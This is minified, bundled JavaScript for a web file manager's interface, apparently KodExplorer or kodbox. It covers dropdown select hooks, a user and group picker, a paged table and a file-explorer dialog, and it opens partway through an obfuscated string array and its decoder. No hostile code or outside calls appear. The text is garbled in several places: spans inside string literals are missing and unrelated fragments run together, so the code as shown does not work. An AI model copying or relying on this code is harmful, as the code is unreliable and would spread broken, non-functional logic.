T2W5vjW4q=","pCoJwCoJWQW=","sbDfw8oY","W6vhx8oHW6a=","W7r3zCoVW68=","W5pdUMZcNmkGW7qYiKtcUrBcRbKxWRldPuW=","zmkMAxe5W54=","WQhdVmoxWPrd","c01cW4Kb","WQ/cJSouFum=","W67cQSo6mq0=","B2ORWQFdGq==","BmktfSkHlSkI","WQSuW7RcSI8va3RcGCkoW4C=","W5JcGCo1mqVcK8k6","WOW3W4ddS8k1","WO7dGqLhta==","bCoLpSonBW==","a2n2W5OE","WR1et8oaBa==","WRlcQgWfqW==","WPRcSeumEG==","EuuIW5ddRG==","W7/dHs3cG8on","i8klseOz","W6vCE8oCW6G=","sh94WQxcGq==","W4KGWOrnkq==","WPvIW4hdGG4=","cxL0W7uZ","w8otbrNcTG==","W4nuqqbE","gXrewWm=","W75csJDI","wmkLsa==","gmoNf8o8sa==","gSkQzLqQ","W7P7DxxdQG==","p2FcLSo/WPG=","W5b1rNVdMa==","WPzjW5pdGXO=","xcDzz8oU","uSoFnW==","i8oNECoSWR0=","WQrVW7tdUa4=","yxdcPmk+nq==","smoOt8kvW7XwW7j+lx4kc2hcL1JcRCoc","W65rxZu=","t3dcRCknha==","hg/dVN7dMW==","nKpdMe/dNG==","gCoBW6RdKmkz","emkwvM8p","p8o9qSoFWPa=","EvddUmkwW5y=","sIHwx8o0","bN/cK8oMWP0=","WOCWuG==","WR5WESoyFc7dGWVdRCkAigBdRJfD","A3SxW6hdGG==","aZHwxmoS","WP4MW7NdOSka","WRNcGmkoWRLN","BCoebWJcRG==","krlcKwqJ","BKraWO7cOa==","W6v4zNFdKW==","omo7W63dGCkM","A8oBes3cLG==","orXjubS=","W4vey0xdIW==","bSoIW4lcNG==","W7HvwIfIs1JdMWO9WR8=","W4DyxJjH","hSoXkCocwq==","WO3dMWXNAq==","WR4wW7lcKIuKcxZcGq==","AweBW60=","wxK6WPtdKa==","W7SvpCkuBrW9emkBW5i=","e8orW43dG8kv","CZHMFmop","FsnCDG==","W5X8FI1n","W4nTCfxdQW==","jSo0W6ZdSmkP","W4SRa8khEW==","WRVdUIXoEG==","WO3cL8oBr2WM","mJrxq8ow","eIXSqmoe","kwxcSCo0WRC/sxC=","t0u0WO3dOa==","d0uTC8oY","WQHsW5NdOCke","oHNcRa==","iKFdNLddGa==","W58QWP15W77cGSoXWOfOnCkiW5K=","herwW5q4","WRNcLeKVEa==","F3Kg","vhLsWO3cOcBdNCo/nmkfW5DH","WQlcVCkdWQnZ","utjDA8oSW7i=","wwJcMSk6oG==","m8o4W5pdKSk1","pCoygCoLsa==","W4WmWOvqkG==","D2hdVvNdGW==","W6awg8krEq==","W40EWPXkW50=","BSkfc8kNja==","cCoqWP1jWR8=","W5P2wqbb","BKVdJCkdW7y=","hJbxACoYWQVcNmk7","WOtdL8odWP53fG==","AwyAW5pdKa==","s0hdUgldLq==","WQ1GF8ofwI/dJJJdTq==","osnfxZu=","aSoTfW==","l8kLW43dMeC=","W5PiqeddJSk5","jJP5DSoX","W5rXWOeeW4xcSZRdN8oZD8oX","WRJdTSoiWOnx","eSoEWOy=","W453W6VdUmkf","W7RcQSoFeYK=","dmoKfCoYCG==","tCoFftFcSG==","ymo7mmogeW==","CNnWWQ7cMG==","zNSWW6tdISoOiW==","WQ49W5W=","EvKxW7JdJG==","w8o4q8kiWR8=","WOeIW5NdGmke","WOFcVwmqqW==","uh1nWOJcQG==","WRrhyCoHBa==","sGPvCCoV","cgi0xSoY","DSoVaSo2W6ZdIgXXFJhdKmk+W7mjlNbTWOi7","r3tdO1BdIa==","BCootmkeWP8=","kx7cUmoMWR4=","f2VcSCo4WPP4xMiUW7SoW7KkWQjZWQZdJCkBEvC=","W5BdN2lcL8kQ","fcXrzmoZWQRcVmkKW6hcImopd8kH","W5HTW4XkW4FcSJJdJ8kYF8kYW7xcVmorW7VdNv4fnHL1kCkhdq==","W4vNEmojW7a=","B3lcMCkxeW==","C8omaCovla==","WQZdQSopWRr2","arHqyCod","W7fXW5VdVSkA","W70PWR9FW44=","WQPuW57dISkhe8oI","mKBcVSoOWP4U","W7irh8kryG==","W4HNW5a=","aCo7W4pcKJO=","k8kHCM5PW4NcK8kIWQPSWQ9RtCorWPpcLSodze9KBSodtmoI","W7VdOG/cM8oM","W4RdR8kFvmkqW7BcQ8k3","W755tcrF","W5tdOh/cLSkBW7X3jKW=","kvaDC8oV","WPtdI8oqWPq=","WPddK8owWObj","BMiuW7hdV8oUkhRcRx7dICofD8kSW4y=","W6JdRWRcRCok","euRcPCocWR8=","W5XzW5nbW40=","ogRcLCo6WOW=","W61zzuRdLa==","W7WCWRb1W6S=","WRWZr2xdVWraA3SAhSkcjCoKkG==","WO4xW5BcVcK=","EwKgWORdOgBdNb1/","W4DEW5TCW7K=","mJnkuXG=","gL4mtCoW","FhO4WOZdLa==","hSoKW4tdPComemoYWP/cM8oAcrBdKHdcMW==","g8oQW5ZcIrC=","lL1qW5GPn8o5WPHV","a8kwW4pdL04=","WROEW6/cTcqU","vsfLEmo0","W5LQCmoDW7S=","W43dO0tcGCkQ","eCo3umoMWRNdJq==","WOeNW7/dHSkF","bmkAW4ldQ04=","EKxdON/dMSoUutlcRSowWOjdrZO=","r3zaWOu=","dNBcImo1WRi=","W4NdQ8kMqCkr","l1ue","r1BdGSkEW5m=","W711W7ddUCkL","AM4GW6ZdVa==","W7vjASopW6K=","m8ozWQjFWOe=","W4xdVhJcHmkQW6eYiKtcUrBcRdS=","W401cSkGhcqDpmk3W7ldIX/dS8o0cSocWP0=","kuewFSov","W7/cKCo9lqa=","WRrcW7JdN8k4","nH9IAri=","WR4mW7RcQqyJhge=","zvldUgxdRG==","Bx8aWPpdSa==","WQ1nW5BdRdC=","WQVcISksWRO=","W6SiWQTTiu4=","z8o8mtK=","WQtcKCk/WRLU","W7RdMblcLCoy","W752u8o6W7bwd0G=","W5b2Cq1p","FuVdPSkWW6e=","E3OCW67dNCo5kfdcQv/dJSoq","eJ3cQ1GZ","w8omtSkmWQq=","FN/cHSkpfG==","W7jWW67dTCk2","WR4RDsRdSa==","aSoCWPv6WR0=","W4FdSNVcGCkv","W5DfW65aW7K=","BhShW6/dRSoZmxdcSq==","qG1QD8oc","tSovwSktWPW=","aCoUW5S=","WQJcUMCLDq==","wM7cPSkRfG==","W4W+WPPegN9JWRxcOve=","WP4kBGhdNG==","lmoWWPL9WP8=","k8kizKmhwmoJWRu=","WRySsG==","D8ooc8ogma==","fI5DrSoOWQhcN8kHW6m=","W55lE3BdMa==","u8oSl8o0kq==","W7WCgCkuCq==","fCk9D0KKrCo/WP7cGa==","h8o1hCoBxmoxW4y=","W6flrKpdIq==","WQ/dMcbbBa==","s8k4gmkpca==","W5P/Eaa=","W5KWWQXhW7m=","kvRdK3ddLW==","pxZcTCo+","WOtcNLySvq==","ESoVbSo2W6RdIgLXDG==","AIDoA8oGoIXTWPDsW5i=","oSo+ySoJWRm=","WRPpW4tdNCkmf8oP","W5rvamoxWRq=","W44oWPbheW=="],p=(c=d,function(e){for(;--e;)c["push"](c["shift"]())}(421),function p(e,t){var h,i=d[e=+e],n=(p["vCLTlP"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,r=0;i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["tXtiuD"]=function u(e,t){for(var i,n=[],o=0,a="",r="",s=0,l=(e=h(e))["length"];s"),t||{});if(!_.isEqual(e.data("selectOptions"),t)){if(e.data("selectOptions",t),"string"==typeof n)for(var o=n.split(","),n={},a=0;a':i+=''+e+" "}),e.html(i)}},"dropdownPositionAuto":function(t){t&&t.dropdown&&(t.dropdown._attachPositioningHandler=function(){this.$container.parents().filter(function(){return $(this).canScroll()}).on("scroll.select2."+t.id,function(e){t.dropdown&&(t.dropdown._positionDropdown(),t.dropdown._resizeDropdown())})})},"templateItemRenderHook":function(e){var t,a=function a(e,t,i,n){t&&e&&(n="select2-"+(n.$element.attr("name")||"")+"-result-",(e=e.attr("data-class"))?t.addClass(e).attr("data-class",e):t.attr("data-class")&&t.removeClass(t.attr("data-class")).attr("data-class",""),t.attr("data-value",i.id||"--"),t.addClass(n+i.id||"--"))};(t=function t(n,e){var o="_"+e;n&&n[e]&&!n[o]&&(n[o]=n[e],n[e]=function(e,t){var i=n[o].apply(this,arguments);return a($(e.element),$(t),e,this),i})})(e.options.options.resultsAdapter.prototype,"template"),t(e.options.options.selectionAdapter.prototype,"display")},"templateResultAfter":function(e){var t;return e&&(t="","string"==typeof e?t=""+e+" ":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$"," "),$(t))},"selectDataMake":function(e,t,i){e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+htmlDecode(t)+" "):e.text},e.templateResult=e.templateSelection,i&&i()},"searchMatch":function(e,n){var o,t;return n.text===undefined?null:""==e.term?n:n.id===e.term?_.clone(n):(o=function o(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},-1<(t=n.text.indexOf(e.term))?o([t,t+e.term.length]):(t=Pinyin.match(n.text,e.term))?o(t):null)},"selectEventBind":function(i,n,o){var a=$(i).next(),r=i.data("select2"),s=this,t=(this.selectRenderCacheBind(r),a.attr("class",(a.attr("class")||"")+" "+i.attr("class")),a.attr("style",(a.attr("style")||"")+" "+i.attr("style")),i.attr("style")?a.css("min-width","inherit"):a.css("width",""),a.removeClass("select2-hidden-accessible"),r.$dropdown.data("$select",i),function t(e){return stopPP(e)}),e=(r.$container.unbind("keydown",t).bind("keydown",t),r.dataAdapter.current),l=(r.dataAdapter.current=function(t){e.apply(this,[function(e){e=_.filter(e,function(e){return!(!e||!e.element||$(e.element).hasClass("option-empty"))});t(e)}])},i.attr("data-value")),c=((l=i.attr("multiple")?l.split(","):l)&&i.val(l).trigger("change"),s.selectChange(),i.on("select2:opening",function(e){}).on("select2:close",function(e){}).on("select2:open",function(e){var t;window.event&&"Escape"==event.key?(r.close(),r.trigger("blur")):(t=r.$dropdown.find(".select2-search--dropdown"),i.children().length<=10?t.hide():t.show(),s.dropdownPosition(a,r),t.is(":visible")||n.find(".select2-selection").focus())}).on("select2:select",function(e){i.trigger("change.select2"),c(e)}).on("select2:unselect",function(e){c(e)}).on("change",function(e){s.selectChange(e)}),this.formPopBindShow(n,i,r),a.find(".select2-selection").delegate(".select2-selection__clear","mousedown touchstart",function(e){r.close(),s.setValue(i,"")}),function c(e){var t=window.event;t&&$.targetParent(t,".select2-selection__choice__remove,.select2-selection__clear")?r.close():o.multiple&&_.delay(function(){var e=n.find(".select2-search__field");r.open(),e.val(null),e.focus()},5)})},"selectChange":function(){},"selectEventBindAfter":function(e,t){},"formPopBindShow":function(e,t,i){var n=_.bind(i.dropdown._hideDropdown,i.dropdown),o=$.formPopTarget(i.$container,i.$dropdown,n);t.on("select2:open",function(){o.show()}),t.on("select2:close",function(){setTimeout(function(){o.hide()},0)}),t.data("formPop",{"show":_.bind(i.open,i),"hide":_.bind(i.close,i)})},"dropdownPosition":function(e,t){var i=t.$dropdown.find(".select2-dropdown"),e=(i.position({"of":e,"my":"left top","at":"left bottom-1","collision":"flipfit flipfit","using":function(e,t){$(this).css({"left":e.left})}}),parseInt(t.$dropdown.css("top"))||0),n=parseInt(t.$dropdown.css("bottom"))||0,o=$(window).height(),e=e+10,t=(t.$dropdown.find(".select2-results__options").outerHeight(),{"max-height":"calc(100vh - "+(e=o-(e=i.hasClass("select2-dropdown--above")?n+10:e)<=100?o-100:e)+"px)"});i.css(t)},"selectRenderCacheBind":function(t){var i;t&&(i=t.results,t.listeners["results:all"]=[],t.on("results:all",function(e){i.clear(),""==e.query.term?i.$resultsChildrenAll?i.$results.append(i.$resultsChildrenAll):(i.append(e.data),i.resultsChildrenAll=i.$results.html()):i.append(e.data),t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}))},"selectLanguage":function(){return{"errorLoading":function(){return LNG["explorer.cannotLoad"]},"inputTooLong":function(e){e=e.input.length-e.maximum;return LNG["explorer.pleaseDel"]+e+LNG["explorer.theChars"]},"inputTooShort":function(e){e=e.minimum-e.input.length;return LNG["explorer.pleaseInput"]+e+LNG["explorer.theChars"]},"loadingMore":function(){return LNG["explorer.loadMore"]},"maximumSelected":function(e){return LNG["explorer.canChoose"]+e.maximum+LNG["explorer.theItems"]},"noResults":function(){return LNG["explorer.noSearchData"]},"searching":function(){return LNG["explorer.search.ing"]},"removeAllItems":function(){return LNG["explorer.delAllItem"]}}}})},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.BaseUserGroup=undefined;var i=c(o(20)),n=o(3),a=c(o(7)),r=c(o(41)),s=c(o(43)),l=c(o(44));function c(e){return e&&e.__esModule?e:{"default":e}}var d={"groupGet":{"delay":!1,"data":{},"idArray":[],"callback":[],"key":"groupID"},"memberGet":{"delay":!1,"data":{},"idArray":[],"callback":[],"key":"userID"}},r=_.extend(r["default"],s["default"],l["default"]);t.BaseUserGroup=i["default"].extend(r).extend({"init":function(e){this.initParamData(e),this.renderView(),this.bindEvent(),this.bindNotify()},"initParamData":function(e){this.$afterDom=e.$afterDom,this.selectType=e.selectType,this.parentGroup=e.parentGroup||"",this.rootParam=e.rootParam||"",this.paramExtend=_.isObject(e.paramExtend)?e.paramExtend:{},this.isSingle=!this.$afterDom.attr("multiple"),this.adminModel=a["default"]["adminModel"],this.pathIcon=n.pathIcon,this.$afterDom.data("kodView",this),this.listData=[],_.includes(["user","group","all"],this.selectType)||(this.selectType="group")},"parseDefaultData":function(e){switch(this.keyID=[],this.loadValue={"group":"","user":""},this.selectType){case"user":this.keyID=["userID"],this.loadValue["user"]=e;break;case"group":this.keyID=["groupID"],this.loadValue["group"]=e;break;case"all":this.keyID=["groupID","userID"],e=_.isString(e)?jsonDecode(e):e,this.loadValue=_.extend(this.loadValue,e),this._each(this.loadValue,function(e,t){_.isArray(e)&&(this.loadValue[t]=e.join(","))})}},"setValue":function(e){var t=this.$afterDom.attr("data-value");this.$afterDom.attr("data-value",e),this.initFinished&&e==t||(this.initFinished=!0,this.parseDefaultData(e),this.initDefaultValue())||(this.listData=!1,this.trigger("dataChange"))},"renderView":function(){var e=this.$afterDom.attr("data-value")||"",e=(this.parseDefaultData(e),this.initDefaultValue(),o(45)),t={"isSingle":this.isSingle,"selectType":this.selectType},e=this.renderHtml(e,t,!1);this.$afterDom.after(e),this.$el=this.$afterDom.next(),this.$selectBox=this.$(".kod-select"),this.attrAdd(this.$selectBox,this.$afterDom,"class"),this.attrAdd(this.$selectBox,this.$afterDom,"style"),this.renderViewDropdown(),this.$dropdown.css("width",this.$selectBox.width()),this.$afterDom.hide()},"renderViewDropdown":function(){this.$dropdown=this.$(".kod-user-group-select"),this.$dropdown.appendTo($("body")),this.$dropdown.data("formView",this),this.bind("onRemove",function(){this.$dropdown.remove()});var e="select-"+this.selectType;this.$dropdown.addClass(e),this.initView(this.parentGroup,this.$dropdown.find(".group-list-tree"))},"attrAdd":function(e,t,i){e.attr(i,(e.attr(i)||"")+" "+(t.attr(i)||""))},"bindEvent":function(){this.bindDropdown(),this.bindEventSearch(),this.bind("initBefore",function(e,t){t.view.expandSpeed=100}),this.bind("initAfter",function(t){this.zTree=t,_.each(t.getNodes(),function(e){e.disableOpen||t.expandNode(e,!0,!1,!1,!0)});var i="#"+t.setting.treeId+" ul.level0";this._delay(function(){var e=$(i);0!=e.length&&e.css({"height":""})},300),this.changeForResult(),this.changeForTreeNode()})},"bindNotify":function(){this.bind("dataChange",function(){this.dataChangeApply()})},"dataChangeApply":function(){this.changeForTreeNode(),this.changeForSearch(),this.changeForResult(),this.changeForMain()},"changeForMain":function(){if(_.isEmpty(this.listData))this.$afterDom.attr("data-value","").trigger("change");else{var e=this.isSingle?[this.listData]:this.listData,i={"user":[],"group":[]},t=(this._each(e,function(e){e.userID?i.user.push(e.userID):i.group.push(e.groupID)}),"");switch(this.selectType){case"user":t=_.filter(i.user).join(",");break;case"group":t=_.filter(i.group).join(",");break;case"all":this._each(i,function(e,t){_.isArray(t)&&(i[e]=t.join(","))}),t=jsonEncode(i)}this.$afterDom.attr("data-value",t||"").trigger("change"),this.menuPosition()}},"initDefaultValue":function(){var o,a,e=_.pick({"groupID":"groupGet","userID":"memberGet"},this.keyID);return!this._every(e,function(e,t){return!this.loadValue[t.replace("ID","")]})&&(o=$.objClone(e),this._each(o,function(e,t){o[t]=!1}),a=function a(){var e;this.parent&&(this.parent.trigger("userGroup.initDefault",o,this),this._every(o))&&(e=_.flatten(_.map(o)),e=this.isSingle?e[0]:e,this.listData=e||(this.isSingle?{}:[]),this.dataChangeApply())},a=_.bind(a,this),this._each(e,function(e,i){var t=this.loadValue[i.replace("ID","")],n=(t||(o[i]=[],a()),{"id":t});this.cacheRequestMake(e,n,function(e){o[i]=e&&e.code&&e.data||[];e=t.split(",");if(_.isArray(o[i])||(o[i]=[]),o[i].length==e.length||!t)return a();_.each(e,function(e){var t;!_.find(o[i],[i,e])&&e&&((t={"name":i+":"+e})[i]=e,o[i].push(t))}),a()})}),!0)},"cacheRequestMake":function(i,e,t){var n,o=this,a=d[i],e=_.filter((e.id||"").split(",")),r=function r(e,t){var i=n(e);setTimeout(function(){t&&t(i)},0)};if((n=function n(e){var t={"code":!0,"data":[]};return _.each(e,function(e){a.data[e]&&t.data.push(a.data[e])}),t.data.length!=e.length&&(t.code=!1,t.data=!1),t})(e).code)return r(e,t);a.idArray=_.union(_.concat(a.idArray,e)),a.callback.push({"getArr":e,"callback":t}),clearTimeout(a.delay),a.delay=this._delay(function(){var t=a.callback,e={"id":a.idArray.join(",")};a.delay=!1,a.idArray=[],a.callback=[],o.adminModel.cacheRequest(i,e,function(e){_.each(_.get(e,"data"),function(e){e&&(a.data[e[a.key]]=e)}),_.each(t,function(e){r(e.getArr,e.callback)})})},30)},"requestData":function(e,n,t){var o=this,a=_.isString(e)?e:e.groupID,i={"parentID":a||"root"},r=_.isString(e),s=(r&&(i.rootParam=this.rootParam,i.rootParam)&&(i.atTime=time()),this.paramExtend&&_.extend(i,this.paramExtend),"cacheRequest");o.adminModel[s]("groupList",i,function(t){var e=_.get(t,"data.list")||[];if(Events.trigger("form.groupList.loaded",e,o),_.remove(e,function(e){return!e.show&&"0"==_.get(e,"metaInfo.status")}),t.data.list=e,o.adminModel)return r&&"1"==a||"group"==o.selectType||_.includes(_.map(e,"groupID"),a)?n.apply(o,[t]):(e={"groupID":a,"pageNum":200},o.paramExtend&&_.extend(e,o.paramExtend),void o.adminModel[s]("memberList",e,function(e){var i=_.get(e,"data.list")||[];Events.trigger("form.memberList.loaded",i,o),_.each(i,function(e,t){(!e.show&&"0"==_.get(e,"status")||"1"==a&&e&&(e.groupInfo&&1==e.groupInfo.length||(i[t]=!1),"1"!=_.get(e,"groupInfo.0.groupID")))&&(i[t]=!1)}),i=_.filter(i),t.data.list=_.concat(t.data.list,i),n.apply(o,[t])}))},function(e){t&&t.apply(o,arguments),e&&e.data&&!e.code&&(e=""+e.data+"
",o.$dropdown.find(".ztree").html(e))})},"itemIcon":function(e){var t;if(this.pathIcon)return e.userID?this.pathIcon(e.avatar||"kod-user"):(t="0"==e.parentID?"root-groupPublic":"root-groupPath",t=e.icon||t,this.pathIcon(t))},"dataFilter":function(e){var t,i;return e&&e.data?(t=this,e=_.filter(e.data.list),i=function i(e){e.isParent=e.isParent||e.hasChildren||!1,!e.isParent&&_.includes(["all","user"],t.selectType)&&(e.isParent=e.hasChildren||e.hasChildrenMember)},this._each(e,function(e){i(e),e.children=_.filter(e.children),_.isEmpty(e.children)?e.children=!1:this._each(e.children,i)}),e):[]},"treeNodeRenderAfter":function(e){var t,i=e.nickName||e.name,i=(e.$ico.html(this.itemIcon(e)),e.$node.find(".node_name").html(htmlEncode(i)),_.pick(e,this.keyID)&&e.$ico.before(' '),e.groupID&&"-"!=e.groupID&&"1"!=e.groupID),n=e.hasChildrenMember&&("user"==this.selectType||"all"==this.selectType);i&&n&&e.isParent&&!this.isSingle&&(i=' title="'+LNG["explorer.auth.tabUser"]+'" title-timeout=100 ',e.$ico.before(' ')),e.groupID?(t=_.get(e,"metaInfo.status")||"1",e.$node.addClass("node-item-group group-status-"+t)):(t=_.get(e,"status")||"1",e.$node.addClass("node-item-user user-status-"+t)),"0"==t&&(n=e.$node.attr("title"),e.$node.attr("title",n+"-"+LNG["common.disabled"])),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},"changeForTreeNode":function(){var i,n=this.zTree;if(n&&($("#"+n.setting.treeId+" .tree-node.this").removeClass("this"),this.nodeSelectStatus(),!_.isEmpty(this.listData)))return i=function i(e){var t=e.userID?"userID":"groupID",e=e[t],t=n.getNodesByParam(t,e);_.each(t,function(e){e&&e.$node.addClass("this")})},this.isSingle?i(this.listData):void this._each(this.listData,function(e){i(e)})},"changeForResult":function(){var e,t=this.$(".clear-select"),i=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...",n=''+i+" ";if(t.removeClass("hidden"),!_.isEmpty(this.listData))return this.isSingle?(e=this.listData.nickName||this.listData.name||"",i=this.itemIcon(this.listData)+htmlEncode(e),this.$selectBox.find(".kod-select-title").html(i)):(e=o(46),i={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},e=this.renderHtml(e,i,!1),void this.$selectBox.find(".select-list").html(e));(this.isSingle?this.$selectBox.find(".kod-select-title"):this.$selectBox.find(".select-list")).html(n),t.addClass("hidden")},"listDataFind":function(e){if(!this.isSingle){this.listData||(this.listData=this.isSingle?{}:[]);for(var t=e.userID?"userID":"groupID",i=t+"-"+e[t],n=0;n>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["JIwSQj"]=function u(e,t){for(var i,n=[],o=0,a="",r="",s=0,l=(e=h(e))["length"];s',s+=' '),t+=''+n.title+s+"
",i[n.field+"_@_"+e]=n}var l=''+t+"
";this.columns=i,this.target.find(".content .list-table").html(l)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask(this.target);Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",s=(t!=undefined&&Object.keys(t).length||(i+=''+LNG["explorer.noData"]+"
"),function s(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),r=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)r.push(n+'="'+a.attr[n]+'"');return r.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",r=t[e];for(o in n){var l=o.split("_@_")[0],c=r[l],d=n[o];_.isFunction(n[o].formatter)&&(c=n[o].formatter(c,e,t)),a+="'+c+"
"}i+=""+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.$el&&t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var t=this.dialog.$main,i=function i(){var e=t.width()<600;t[e?"addClass":"removeClass"]("app-wap-small")};i=_.debounce(_.bind(i,this),50),this.bind("viewResize",i),i()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var l=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return n(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")};function n(e,t){var i=[],n=!0,o=!1,a=undefined;try{for(var r,s=e[Symbol.iterator]();!(n=(r=s.next()).done)&&(i.push(r.value),!t||i.length!==t);n=!0);}catch(l){o=!0,a=l}finally{try{!n&&s["return"]&&s["return"]()}finally{if(o)throw a}}return i}var o=i(8),a=i(3),r=i(28),s=u(i(24)),c=u(i(64)),d=u(i(65)),h=u(i(413));function u(e){return e&&e.__esModule?e:{"default":e}}var p=function p(){return{"tree":i(414)["default"],"header":i(419)["default"],"history":i(423)["default"],"path":i(424)["default"],"select":i(448)["default"],"pageing":i(457)["default"],"hotKey":i(458)["default"],"pathAction":i(54)["default"],"rightMenu":i(107)["default"],"search":i(459)["default"],"spaceSize":i(462)["default"],"panel":i(103)["default"],"plugins":i(464)["default"]}},f=ClassBase.extend({"el":".app-main","appType":"explorer","init":function(e){this.renderHtml(i(27)),this.initCommon(e)},"initGlobal":function(e){this.loadLib=p(),this.pathTree=(e=e||{}).pathTree||this.urlParam("pathTree")||"{block:root}",this.pathOpen=e.pathOpen||this.urlParam("path"),this.pathFile=e.pathFile||this.urlParam("pathFile")||"",this.dataFilter=new c["default"],this.listTree=e.listTree||"",this.pathOpenKeepKey=e.pathOpenKeepKey||"fileHistoryLastPath",_.extend(this.dataFilter,{"pathIcon":a.pathIcon,"filter":this.dataFilter},r.pathParse),this.global={},this.global.autoToChildren={"root":this,"$root":this.$el,"userModel":new o.UserModel,"pathModel":new s["default"],"pathData":this.dataFilter},this.$el.attr("id","explorer-"+UUID()),e.pathModel&&(this.global.autoToChildren.pathModel=e.pathModel),this._each(this.global.autoToChildren,function(e,t){this[t]=e}),this.userModel.rootView=this},"initCommon":function(e){this.initParam||(this.initParam=e),this.initLoading(),this.initGlobal(e),this.initChildren(),this.bindNotify(),this.initKodApp(),this.taskTab=new h["default"]({"parent":this}),this.trigger("initCommonFinished"),this.$el.data("appExplorer",this).attr("app-explorer","1"),this.bind("onRemove",function(){this.$el.removeData("appExplorer"),this.$el.removeAttr("app-explorer")})},"urlParam":function(e){var t=_.get(Router,"query."+e);return t=!(t=!t&&"pathFile"==e&&_.get(Router,"query.sidf")?"{source:"+_.get(Router,"query.sidf")+"}/":t)&&"path"==e&&_.get(Router,"query.sid")?"{source:"+_.get(Router,"query.sid")+"}/":t},"initLoading":function(){var t,e,i,n,o;this.initParam&&this.initParam.disableLoading||(t=this.$el,e=!1,(i=1==t.parents(".artDialog").length||window.parent!=window)?e=Tips.loadingMask(this.$el,LNG["explorer.wordLoading"],.05):NProgress.isStarted()||NProgress.start(),n=function n(){clearTimeout(o),i?e&&e.close():NProgress.done()},this.bind("initCommonFinished",function(){var e;i||this.$el.hasClass("app-main")&&(t.addClass(e="animated 